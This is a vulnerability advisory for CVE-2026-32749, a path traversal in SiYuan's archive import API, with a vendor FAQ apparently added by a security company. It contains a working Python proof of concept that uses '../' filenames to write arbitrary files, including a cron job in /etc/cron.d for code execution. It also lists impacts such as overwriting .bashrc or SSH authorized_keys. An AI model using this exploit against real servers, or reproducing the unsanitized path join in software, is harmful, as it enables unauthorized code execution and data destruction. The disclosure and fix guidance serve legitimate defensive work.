CVE-2026-32749

POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE.

Details

File: kernel/api/import.go - functions importSY and importZipMd

file := files[0]
writePath := filepath.Join(util.TempDir, "import", file.Filename)
writer, err := os.OpenFile(writePath, os.O_RDWR|os.O_CREATE, 0644)

importZipMd has a second traversal in unzipPath construction:

filenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename))
unzipPath    := filepath.Join(util.TempDir, "import", filenameMain)
gulu.Zip.Unzip(writePath, unzipPath)

filepath.Join calls filepath.Clean internally, but cleaning happens after concatenation - sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client.

PoC

Environment:

docker run -d --name siyuan -p 6806:6806 \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit:

import requests, zipfile, io

HOST  = "http://localhost:6806"
TOKEN = "YOUR_ADMIN_TOKEN"

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
    z.writestr("TestNB/20240101000000-abcdefg.sy",
        '{"ID":"20240101000000-abcdefg","Spec":"1","Type":"NodeDocument","Children":[]}')
    z.writestr("TestNB/.siyuan/sort.json", "{}")
buf.seek(0)

r = requests.post(f"{HOST}/api/import/importSY",
    headers={"Authorization": f"Token {TOKEN}"},
    files={"file": ("../../data/TRAVERSAL_PROOF.zip", buf.read(), "application/zip")},
    data={"notebook": "YOUR_NOTEBOOK_ID", "toPath": "/"})

print(r.text)

RCE via cron (root container):

cron = b"* * * * * root touch /tmp/RCE_CONFIRMED\n"
r = requests.post(f"{HOST}/api/import/importSY",
    headers={"Authorization": f"Token {TOKEN}"},
    files={"file": ("../../../../../etc/cron.d/siyuan_poc", cron, "application/zip")},
    data={"notebook": "NOTEBOOK_ID", "toPath": "/"})

Confirmed response on v3.6.0: {"code":0,"msg":"","data":null}

An admin can write arbitrary content to any path writable by the SiYuan process:

• RCE via /etc/cron.d/ (root containers), ~/.bashrc, SSH authorized_keys
• Data destruction by overwriting workspace or application files
• In Docker containers running as root (common default), this grants full container compromise

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-32749 has a CVSS score of 7.6 (High). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2026-32749? CVE-2026-32749 is a high-severity path traversal vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions <= 0.0.0-20260313024916-fd6526133bb3. No fixed version is listed yet. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-32749? CVE-2026-32749 has a CVSS score of 7.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/siyuan-note/siyuan/kernel are affected by CVE-2026-32749? github.com/siyuan-note/siyuan/kernel (go) versions <= 0.0.0-20260313024916-fd6526133bb3 is affected.
4. Is there a fix for CVE-2026-32749? No fixed version is listed for CVE-2026-32749 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-32749 exploitable, and should I be worried? Whether CVE-2026-32749 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-32749 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-32749? No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.